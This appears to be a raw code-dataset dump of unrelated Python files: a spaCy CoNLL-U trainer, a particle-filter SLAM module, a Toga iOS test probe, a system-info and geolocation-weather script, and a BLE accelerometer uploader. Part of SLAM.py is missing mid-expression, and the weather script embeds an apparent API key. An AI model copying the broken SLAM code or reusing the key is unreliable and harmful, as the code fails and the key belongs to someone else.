nlp.parser.add_multitask_objective('sent_start')\n nlp.add_pipe(nlp.create_pipe('tagger'))\n for gold in golds:\n for tag in gold.tags:\n if tag is not None:\n nlp.tagger.add_label(tag)\n optimizer = nlp.begin_training(lambda: golds_to_gold_tuples(docs, golds))\n # Replace labels that didn't make the frequency cutoff\n actions = set(nlp.parser.labels)\n label_set = set([act.split('-')[1] for act in actions if '-' in act])\n for gold in golds:\n for i, label in enumerate(gold.labels):\n if label is not None and label not in label_set:\n gold.labels[i] = label.split('||')[0]\n n_train_words = sum(len(doc) for doc in docs)\n print(n_train_words)\n print(\"Begin training\")\n # Batch size starts at 1 and grows, so that we make updates quickly\n # at the beginning of training.\n batch_sizes = spacy.util.compounding(spacy.util.env_opt('batch_from', 1),\n spacy.util.env_opt('batch_to', 8),\n spacy.util.env_opt('batch_compound', 1.001))\n for i in range(30):\n docs = refresh_docs(docs)\n batches = minibatch(list(zip(docs, golds)), size=batch_sizes)\n with tqdm.tqdm(total=n_train_words, leave=False) as pbar:\n losses = {}\n for batch in batches:\n if not batch:\n continue\n batch_docs, batch_gold = zip(*batch)\n\n nlp.update(batch_docs, batch_gold, sgd=optimizer,\n drop=0.2, losses=losses)\n pbar.update(sum(len(doc) for doc in batch_docs))\n \n with nlp.use_params(optimizer.averages):\n dev_docs, scorer = parse_dev_data(nlp, text_dev_loc, conllu_dev_loc,\n oracle_segments=False, joint_sbd=True)\n print_progress(i, losses, scorer)\n with open(output_loc, 'w') as file_:\n print_conllu(dev_docs, file_)\n dev_docs, scorer = parse_dev_data(nlp, text_dev_loc, conllu_dev_loc,\n oracle_segments=False, joint_sbd=False)\n print_progress(i, losses, scorer)\n\n\nif __name__ == '__main__':\n plac.call(main)\n", "sub_path": "examples/training/conllu.py", "file_name": "conllu.py", "file_ext": "py", "file_size_in_byte": 11809, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.seed", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random.random.seed", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "name"}, {"api_name": "spacy.util.get_lang_class", "line_number": 49, "usage_type": "call"}, {"api_name": "spacy.util", "line_number": 49, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 50, "usage_type": "call"}, {"api_name": "spacy._align.align", "line_number": 69, "usage_type": "name"}, {"api_name": "spacy._align.align", "line_number": 70, "usage_type": "name"}, {"api_name": "spacy.syntax.nonproj.projectivize", "line_number": 130, "usage_type": "call"}, {"api_name": "spacy.tokens.Doc", "line_number": 131, "usage_type": "call"}, {"api_name": "spacy.gold.GoldParse", "line_number": 132, "usage_type": "call"}, {"api_name": "spacy.syntax.nonproj.projectivize", "line_number": 142, "usage_type": "call"}, {"api_name": "spacy.gold.GoldParse", "line_number": 145, "usage_type": "call"}, {"api_name": "spacy.tokens.Doc", "line_number": 155, "usage_type": "call"}, {"api_name": "spacy.util.load_model", "line_number": 252, "usage_type": "call"}, {"api_name": "spacy.util", "line_number": 252, "usage_type": "attribute"}, {"api_name": "spacy.util.compounding", "line_number": 283, "usage_type": "call"}, {"api_name": "spacy.util", "line_number": 283, "usage_type": "attribute"}, {"api_name": "spacy.util.env_opt", "line_number": 283, "usage_type": "call"}, {"api_name": "spacy.util.env_opt", "line_number": 284, "usage_type": "call"}, {"api_name": "spacy.util", "line_number": 284, "usage_type": "attribute"}, {"api_name": "spacy.util.env_opt", "line_number": 285, "usage_type": "call"}, {"api_name": "spacy.util", "line_number": 285, "usage_type": "attribute"}, {"api_name": "spacy.gold.minibatch", "line_number": 288, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 289, "usage_type": "call"}, {"api_name": "plac.call", "line_number": 312, "usage_type": "call"}]} +{"seq_id": "23865486", "text": "#*\n# SLAM.py: the implementation of SLAM\n# created and maintained by Ty Nguyen\n# tynguyen@seas.upenn.edu\n# Feb 2020\n#*\n# from google.colab.patches import cv2_imshow\nfrom scipy.special import logsumexp\n\nimport numpy as np\nfrom numpy import cos,sin\nimport matplotlib.pyplot as plt\nimport load_data as ld\nimport os, sys, time\nimport p3_util as ut\nfrom read_data import LIDAR, JOINTS\nimport probs_utils as prob\nimport math\nimport cv2\nimport transformations\nfrom importlib import reload\nreload(transformations)\nimport transformations as tf\nfrom copy import deepcopy\nfrom mpl_toolkits.mplot3d import Axes3D\nimport logging\nif (sys.version_info > (3, 0)):\n import pickle\nelse:\n import cPickle as pickle\n\nlogger = logging.getLogger()\nlogger.setLevel(os.environ.get(\"LOGLEVEL\", \"INFO\"))\ninterval = 1\n\nclass SLAM(object):\n def __init__(self):\n self._characterize_sensor_specs()\n \n def _read_data(self, src_dir, dataset=0, split_name='train'):\n self.dataset_= str(dataset)\n if split_name.lower() not in src_dir:\n src_dir = src_dir + '/' + split_name\n print('\\n------Reading Lidar and Joints (IMU)------')\n self.lidar_ = LIDAR(dataset=self.dataset_, data_folder=src_dir, name=split_name + '_lidar'+ self.dataset_)\n print ('\\n------Reading Joints Data------')\n self.joints_ = JOINTS(dataset=self.dataset_, data_folder=src_dir, name=split_name + '_joint'+ self.dataset_)\n \n self.num_data_ = len(self.lidar_.data_)\n # Position of odometry\n self.odo_indices_ = np.empty((2,self.num_data_),dtype=np.int64)\n lidar_data = self.lidar_.data_\n # remove bias for odometry, init pose is (0,0,0)\n yaw_bias = lidar_data[0]['rpy'][0,2]\n pose_bias = lidar_data[0]['pose'][0,:2]\n for i in range(len(lidar_data)):\n lidar_data[i]['rpy'][0,2] -= yaw_bias\n lidar_data[i]['pose'][0,:2] -= pose_bias\n self.lidar_.data_ = lidar_data\n def _characterize_sensor_specs(self, p_thresh=None):\n # High of the lidar from the ground (meters)\n self.h_lidar_ = 0.93 + 0.33 + 0.15\n # Accuracy of the lidar\n self.p_true_ = 9\n self.p_false_ = 1.0/9\n \n #TODO: set a threshold value of probability to consider a map's cell occupied \n self.p_thresh_ = 0.6 if p_thresh is None else p_thresh # > p_thresh => occupied and vice versa\n # Compute the corresponding threshold value of logodd\n self.logodd_thresh_ = prob.log_thresh_from_pdf_thresh(self.p_thresh_)\n \n\n def _init_particles(self, num_p=100, mov_cov=None, particles=None, weights=None, percent_eff_p_thresh=None):\n # Particles representation\n self.num_p_ = num_p\n #self.percent_eff_p_thresh_ = percent_eff_p_thresh\n self.particles_ = np.zeros((3,self.num_p_),dtype=np.float64) if particles is None else particles\n \n # Weights for particles\n self.weights_ = 1.0/self.num_p_*np.ones(self.num_p_) if weights is None else weights\n\n # Position of the best particle after update on the map\n self.best_p_indices_ = np.zeros((2,self.num_data_),dtype=np.int64)\n #self.best_p_indices_[:,0] = np.zeros(2)\n # Best particles\n self.best_p_ = np.zeros((3,self.num_data_))\n #self.best_p_[:,0] = np.zeros(3)\n # Corresponding time stamps of best particles\n self.time_ = np.empty(self.num_data_)\n \n # Covariance matrix of the movement model\n tiny_mov_cov = np.array([[1e-8, 0, 0],[0, 1e-8, 0],[0, 0 , 1e-8]])\n self.mov_cov_ = mov_cov if mov_cov is not None else tiny_mov_cov\n # To generate random noise: x, y, z = np.random.multivariate_normal(np.zeros(3), mov_cov, 1).T\n # this return [x], [y], [z]\n\n # Threshold for resampling the particles\n self.percent_eff_p_thresh_ = percent_eff_p_thresh\n\n def _init_map(self, map_resolution=0.05):\n '''*Input: resolution of the map - distance between two grid cells (meters)'''\n # Map representation\n MAP= {}\n MAP['res'] = map_resolution #meters\n MAP['xmin'] = -30 #meters\n MAP['ymin'] = -30\n MAP['xmax'] = 30\n MAP['ymax'] = 30\n MAP['sizex'] = int(np.ceil((MAP['xmax'] - MAP['xmin']) / MAP['res'] + 1)) #total cells\n MAP['sizey'] = int(np.ceil((MAP['ymax'] - MAP['ymin']) / MAP['res'] + 1)) #total cells\n belief = 0.7\n MAP['occ_d'] = np.log(belief/(1-belief))\n MAP['free_d'] = np.log((1-belief)/belief)*.5\n occ_thres = 0.9\n free_thres = 0.2\n MAP['occ_thres'] = prob.log_thresh_from_pdf_thresh(occ_thres)\n MAP['free_thres'] = prob.log_thresh_from_pdf_thresh(free_thres)\n MAP['bound'] = 100 # allow log odds recovery\n MAP['map'] = np.zeros((MAP['sizex'],MAP['sizey']),dtype=float) #DATA TYPE: char or int8\n # MAP['map'] = np.random.randint(-100,100,size=[MAP['sizex'],MAP['sizey']]).astype(float)\n self.MAP_ = MAP\n\n self.log_odds_ = np.zeros((self.MAP_['sizex'],self.MAP_['sizey']),dtype = np.float64)\n self.occu_ = np.ones((self.MAP_['sizex'],self.MAP_['sizey']),dtype = np.float64)\n # Number of measurements for each cell\n self.num_m_per_cell_ = np.zeros((self.MAP_['sizex'],self.MAP_['sizey']),dtype = np.uint64)\n\n\n def _build_first_map(self,t0=0,use_lidar_yaw=True):\n \"\"\"Build the first map using first lidar and plot it\"\"\"\n self.t0 = t0\n # Extract a ray from lidar data, transform it to x-y-z frame\n print('\\n--------Doing build the first map--------')\n lidar_idx = t0\n lidar_scan = self.lidar_.data_[lidar_idx]['scan']\n num_beams = lidar_scan.shape[1]\n lidar_angles = np.linspace(start=-135*np.pi/180, stop=135*np.pi/180, num=num_beams).reshape(1,-1)\n Pose = self.particles_[:, np.argmax(self.weights_)]\n selected_range = np.logical_and(lidar_scan>0.1, lidar_scan<30) # lidar spec\n lidar_scan_seleted_range = lidar_scan[selected_range]\n lidar_angles_selected_range = lidar_angles[selected_range]\n x_lidar = lidar_scan_seleted_range * cos(lidar_angles_selected_range)\n y_lidar = lidar_scan_seleted_range * sin(lidar_angles_selected_range)\n z_lidar = np.zeros(len(lidar_scan_seleted_range))\n lidar_selected_hit = np.vstack((x_lidar,y_lidar,z_lidar))# 3*n\n\n # find closest joint data(synchronization)\n joint_idx = np.argmin(np.abs(self.joints_.data_['ts']-self.lidar_.data_[lidar_idx]['t']))\n joint_angles = self.joints_.data_['head_angles'][:,joint_idx]\n\n # transform hit from lidar to world coordinate, also remove ground hitting\n world_hit = tf.lidar2world(lidar_selected_hit, joint_angles,self.lidar_.data_[lidar_idx]['rpy'][0,:],pose=Pose)\n occ = tf.world2map(world_hit[:2],self.MAP_)\n # update log odds for occupied grid, Note: pixels access should be (column, row)\n self.MAP_['map'][occ[1], occ[0]] += self.MAP_['occ_d']-self.MAP_['free_d'] # will add back later\n # update log odds for free grid, using contours to mask region between pose and hit\n mask = np.zeros(self.MAP_['map'].shape)\n contour = np.hstack((tf.world2map(Pose[:2],self.MAP_).reshape(-1,1), occ))\n cv2.drawContours(image=mask, contours = [contour.T], contourIdx = -1, color = self.MAP_['free_d'], thickness=-1)\n self.MAP_['map'] += mask\n # keep log odds within boundary, to allow recovery\n self.MAP_['map'][self.MAP_['map']>self.MAP_['bound']] = self.MAP_['bound']\n self.MAP_['map'][self.MAP_['map']<-self.MAP_['bound']] = -self.MAP_['bound']\n # print(self.MAP_['map'])\n\n # plot the first map\n h, w = self.MAP_['map'].shape\n Plot = np.zeros((h,w,3),np.uint8)\n # Trajectory = []\n occ_mask = self.MAP_['map']>self.MAP_['occ_thres']\n free_mask = self.MAP_['map']ilk', world_2_body_rots, d_xy_in_body))\n self.particles_[2] += d_theta\n # print('t=',t,'particle=',self.particles_)\n # apply noise, set or use tiny_cov\n self.mov_cov_ = np.array([[0.001,0,0],[0,0.001,0],[0,0,0.001]])\n noise = np.random.multivariate_normal(np.zeros(3), self.mov_cov_, size=self.num_p_).T\n # # self.particles_[:2] += np.squeeze(np.einsum('ijk,ik->jk', world_2_body_rots, noise[:2]))\n # # self.particles_[2] += noise[2]\n self.particles_ += noise # slightly incorrect but faster??\n # print('add noise')\n # print(f't={t},self.particles_={self.particles_}')\n\n def _update(self,t,t0=0,fig='on'):\n if t == t0:\n self._build_first_map(t0,use_lidar_yaw=True)\n return\n else:\n #######################################################################################\n # UPDATE MAP\n ######################################################################################\n lidar_scan = self.lidar_.data_[t]['scan']\n num_beams = lidar_scan.shape[1]\n lidar_angles = np.linspace(start=-135*np.pi/180, stop=135*np.pi/180, num=num_beams).reshape(1,-1)\n selected_range = np.logical_and(lidar_scan>0.1, lidar_scan<30) # lidar spec\n # print('selected range=',np.where(selected_range==False))\n lidar_scan_seleted_range = lidar_scan[selected_range]\n lidar_angles_selected_range = lidar_angles[selected_range]\n x_lidar = lidar_scan_seleted_range * cos(lidar_angles_selected_range)\n y_lidar = lidar_scan_seleted_range * sin(lidar_angles_selected_range)\n z_lidar = np.zeros(len(lidar_scan_seleted_range))\n lidar_selected_hit = np.vstack((x_lidar,y_lidar,z_lidar))# 3*n\n # find closest joint data(synchronization)\n joint_idx = np.argmin(np.abs(self.joints_.data_['ts']-self.lidar_.data_[t]['t']))\n joint_angles = self.joints_.data_['head_angles'][:,joint_idx]\n # transform hit from lidar to world coordinate, also remove ground hitting\n self.best_p_[:,t] = self.particles_[:,np.argmax(self.weights_)]\n # print(f't={t},pose={self.best_p_[:,t]}')\n world_hit = tf.lidar2world(lidar_selected_hit, joint_angles,self.lidar_.data_[t]['rpy'][0,:], pose=self.best_p_[:,t])\n # print('t=',t,'world_hit=',world_hit)\n occ = tf.world2map(world_hit[:2],self.MAP_)\n # update log odds for occupied grid, Note: pixels access should be (column, row)\n self.MAP_['map'][occ[1], occ[0]] += self.MAP_['occ_d']-self.MAP_['free_d'] # will add back later\n # update log odds for free grid, using contours to mask region between pose and hit\n mask = np.zeros(self.MAP_['map'].shape)\n best_particle_map = tf.world2map(self.best_p_[:2,t],self.MAP_).reshape(-1,1)\n contour = np.hstack((best_particle_map, occ))\n cv2.drawContours(image=mask, contours = [contour.T], contourIdx = -1, color = self.MAP_['free_d'], thickness=-1)\n self.MAP_['map'] += mask\n # keep log odds within boundary, to allow recovery\n self.MAP_['map'][self.MAP_['map']>self.MAP_['bound']] = self.MAP_['bound']\n self.MAP_['map'][self.MAP_['map']<-self.MAP_['bound']] = -self.MAP_['bound']\n # print('map=',np.where(self.MAP_['map']>0))\n ############################################################################################\n #UPDATE PARTICLES\n ############################################################################################\n # convert each particle into world frame\n particles_hit = tf.lidar2world(lidar_selected_hit,joint_angles,self.lidar_.data_[t]['rpy'][0,:],Particles=self.particles_)\n # get matching between map and particle lidar reading\n corr = np.zeros(self.num_p_)\n for i in range(self.num_p_):\n occ = tf.world2map(particles_hit[:2,:,i], self.MAP_)\n corr[i] = np.sum(self.MAP_['map'][occ[1],occ[0]]>self.MAP_['occ_thres'])\n corr /= 10 # by divide, adding a temperature to the softmax function\n # update particle weights\n log_weights = np.log(self.weights_) + corr\n log_weights -= np.max(log_weights) + logsumexp(log_weights - np.max(log_weights))\n # print(f'log_weights={log_weights}')\n self.weights_ = np.exp(log_weights)\n self.best_p_[:,t] = self.particles_[:,np.argmax(self.weights_)]\n occ = tf.world2map(self.best_p_[:2,t],self.MAP_)\n self.best_p_indices_[:,t] = np.array([occ[1,0],occ[0,0]])\n\n # print(f'best_p_indices={self.best_p_indices_[:,t]}')\n MAP = self.MAP_\n return MAP\n \n", "sub_path": "code/SLAM/SLAM.py", "file_name": "SLAM.py", "file_ext": "py", "file_size_in_byte": 14785, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "importlib.reload", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 27, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 33, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "read_data.LIDAR", "line_number": 45, "usage_type": "call"}, {"api_name": "read_data.JOINTS", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 51, "usage_type": "attribute"}, {"api_name": "probs_utils.log_thresh_from_pdf_thresh", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 113, "usage_type": "call"}, {"api_name": "probs_utils.log_thresh_from_pdf_thresh", "line_number": 116, "usage_type": "call"}, {"api_name": "probs_utils.log_thresh_from_pdf_thresh", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 124, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.uint64", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 148, "usage_type": "call"}, {"api_name": "transformations.lidar2world", "line_number": 152, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 158, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.logical_not", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.einsum", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 211, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 228, "usage_type": "attribute"}, {"api_name": "numpy.logical_and", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 241, "usage_type": "call"}, {"api_name": "transformations.lidar2world", "line_number": 243, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 249, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 251, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 252, "usage_type": "call"}, {"api_name": "transformations.lidar2world", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 264, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 271, "usage_type": "call"}, {"api_name": "scipy.special.logsumexp", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 274, "usage_type": "call"}, {"api_name": "transformations.world2map", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 276, "usage_type": "call"}]} +{"seq_id": "140062919", "text": "import asyncio\n\nfrom toga.fonts import CURSIVE, FANTASY, MONOSPACE, SANS_SERIF, SERIF, SYSTEM\nfrom toga_iOS.libs import NSRunLoop\n\n\nclass BaseProbe:\n def assert_font_family(self, expected):\n assert self.font.family == {\n CURSIVE: \"Apple Chancery\",\n FANTASY: \"Papyrus\",\n MONOSPACE: \"Courier New\",\n SANS_SERIF: \"Helvetica\",\n SERIF: \"Times New Roman\",\n SYSTEM: \".AppleSystemUIFont\",\n }.get(expected, expected)\n\n async def redraw(self, message=None, delay=None):\n \"\"\"Request a redraw of the app, waiting until that redraw has completed.\"\"\"\n # If we're running slow, wait for a second\n if self.app.run_slow:\n print(\"Waiting for redraw\" if message is None else message)\n delay = 1\n\n if delay:\n await asyncio.sleep(delay)\n else:\n # Running at \"normal\" speed, we need to release to the event loop\n # for at least one iteration. `runUntilDate:None` does this.\n NSRunLoop.currentRunLoop.runUntilDate(None)\n", "sub_path": "iOS/tests_backend/probe.py", "file_name": "probe.py", "file_ext": "py", "file_size_in_byte": 1083, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "toga.fonts.CURSIVE", "line_number": 10, "usage_type": "name"}, {"api_name": "toga.fonts.FANTASY", "line_number": 11, "usage_type": "name"}, {"api_name": "toga.fonts.MONOSPACE", "line_number": 12, "usage_type": "name"}, {"api_name": "toga.fonts.SANS_SERIF", "line_number": 13, "usage_type": "name"}, {"api_name": "toga.fonts.SERIF", "line_number": 14, "usage_type": "name"}, {"api_name": "toga.fonts.SYSTEM", "line_number": 15, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "toga_iOS.libs.NSRunLoop.currentRunLoop.runUntilDate", "line_number": 30, "usage_type": "call"}, {"api_name": "toga_iOS.libs.NSRunLoop.currentRunLoop", "line_number": 30, "usage_type": "attribute"}, {"api_name": "toga_iOS.libs.NSRunLoop", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "2716278", "text": "import socket\nimport platform\nimport requests\nimport json\n\n\ndef get_IP():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n try:\n s.connect(('8.8.8.8', 0))\n IP = s.getsockname()[0]\n except:\n IP = '127.0.0.1'\n finally:\n s.close()\n return IP\n\ndef basic_information():\n\tInformacje = {\n\t\t\t\t\t\t\t'Distro' : platform.system(), \n\t\t\t\t\t\t\t'Release' : platform.release(), \n\t\t\t\t\t\t\t'Version' : platform.version(),\n\t\t\t\t\t\t\t'Processor' : platform.processor(),\n\t\t\t\t\t\t\t'Python version' : platform.python_version(),\n\t\t\t\t\t\t\t'Python build' : platform.python_build(),\n\t\t\t\t\t\t\t'Python implementation' : platform.python_implementation(),\n\t\t\t\t\t\t\t'Python compiler' : platform.python_compiler()\n\t\t\t\t\t\t\t}\n\tif Informacje['Processor'] == \"\":\n\t\tInformacje['Processor'] = \"Sorry, I can not determine version of your processor :( Maybe use other modules to do it.. \" \t\t\t\t\n\tfor element in Informacje:\n\t\tprint (element.upper(),\" : \", Informacje[element])\n\t\t\ndef geolocation():\n\turl = 'http://freegeoip.net/json/'\n\tr = requests.get(url)\n\tdata_js = r.json()\n\tfor e in data_js:\n\t\tprint (e, \" : \", data_js[e])\n\tweather(data_js[\"zip_code\"], data_js[\"country_code\"]) \n\ndef weather(zipcode, countrycode):\n\tnazwa = 'http://api.openweathermap.org/data/2.5/weather?zip=' + zipcode[:2] +zipcode[3:] + \",\" + countrycode.lower()+\"&apiid=b5542bcd7e1d8061ab5495b80fc23270\"\n\ta = requests.get(nazwa)\n\tpagoda = a.json()\n\tfor e in pagoda:\n\t\tprint (e, \" : \", pagoda[e])\n\ngeolocation()\t\nbasic_information()\nprint (\"\")\nprint (\"It is your local IP adress : \",get_IP())\n\n", "sub_path": "Python - IP, informations and weather.py", "file_name": "Python - IP, informations and weather.py", "file_ext": "py", "file_size_in_byte": 1558, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "socket.socket", "line_number": 8, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 8, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 8, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 20, "usage_type": "call"}, {"api_name": "platform.release", "line_number": 21, "usage_type": "call"}, {"api_name": "platform.version", "line_number": 22, "usage_type": "call"}, {"api_name": "platform.processor", "line_number": 23, "usage_type": "call"}, {"api_name": "platform.python_version", "line_number": 24, "usage_type": "call"}, {"api_name": "platform.python_build", "line_number": 25, "usage_type": "call"}, {"api_name": "platform.python_implementation", "line_number": 26, "usage_type": "call"}, {"api_name": "platform.python_compiler", "line_number": 27, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "517024963", "text": "import json\nimport time, hmac, hashlib\nimport requests\nimport re, uuid\nimport math\nimport sys\nimport time\nimport binascii\nimport struct\nfrom bluepy import btle\nfrom bluepy.btle import UUID, Peripheral\n\n\n\nif len(sys.argv) != 4:\n\tprint(\"Fatal, must pass device address:\", sys.argv[0], \"\")\n\tquit()\naccelServiceUuid = \"2BEEF31A-B10D-271C-C9EA-35D865C1F48A\"\naccCharUuid = \"4664E7A1-5A13-BFFF-4636-7D0A4B16496C\"\nperipheralObject = btle.Peripheral(sys.argv[1])\n\n\n# Your API & HMAC keys can be found here (go to your project > Dashboard > Keys to find this)\nHMAC_KEY = \"Your HMAC Key\"\nAPI_KEY = \"Your API Key\"\n\n\nmySensor = btle.UUID(accelServiceUuid)\nsensorService = peripheralObject.getServiceByUUID(mySensor)\n\n\naccValue = sensorService.getCharacteristics(accCharUuid)[0]\n\n#print(cur_time,\"\\t\", acc_x,\"\\t\",acc_y,\"\\t\",acc_z,\"\\t\")\n\t\t\n\n\n# empty signature (all zeros). HS256 gives 32 byte signature, and we encode in hex, so we need 64 characters here\nemptySignature = ''.join(['0'] * 64)\n\n# use MAC address of network interface as deviceId\ndevice_name =\"Temp_BLe\"\nNAME=sys.argv[2]\nTIME=int(sys.argv[3])\n# here we have new data every 16 ms\nINTERVAL_MS = 90\n\nif INTERVAL_MS <= 0:\n raise Exception(\"Interval in miliseconds cannot be equal or lower than 0.\")\n\n# here we'll collect 2 seconds of data at a frequency defined by interval_ms\nfreq =1000/INTERVAL_MS\nvalues_list=[]\nfor i in range (TIME*int(round(freq,0))):\n accVal=accValue.read()\n accV=[accVal[i:i+4] for i in range(0, len(accVal), 4)]\n acc_x=struct.unpack('f',accV[0])[0]\n acc_y=struct.unpack('f',accV[1])[0]\n acc_z=struct.unpack('f',accV[2])[0]\n values_list.append([acc_x*9.865,acc_y*9.865,acc_z*9.865])\n\ndata = {\n \"protected\": {\n \"ver\": \"v1\",\n \"alg\": \"HS256\",\n \"iat\": time.time() # epoch time, seconds since 1970\n },\n \"signature\": emptySignature,\n \"payload\": {\n \"device_name\": device_name,\n \"device_type\": \"BLE_TEST_DEVICE\",\n \"interval_ms\": INTERVAL_MS,\n \"sensors\": [\n { \"name\": \"accX\", \"units\": \"m/s2\" },\n { \"name\": \"accY\", \"units\": \"m/s2\" },\n { \"name\": \"accZ\", \"units\": \"m/s2\" }\n ],\n \"values\": values_list\n }\n}\n\n\n\n# encode in JSON\nencoded = json.dumps(data)\n\n# sign message\nsignature = hmac.new(bytes(HMAC_KEY, 'utf-8'), msg = encoded.encode('utf-8'), digestmod = hashlib.sha256).hexdigest()\n\n# set the signature again in the message, and encode again\ndata['signature'] = signature\nencoded = json.dumps(data)\n\n# and upload the file\nres = requests.post(url='https://ingestion.edgeimpulse.com/api/training/data',\n data=encoded,\n headers={\n 'Content-Type': 'application/json',\n 'x-file-name': NAME,\n 'x-api-key': API_KEY\n 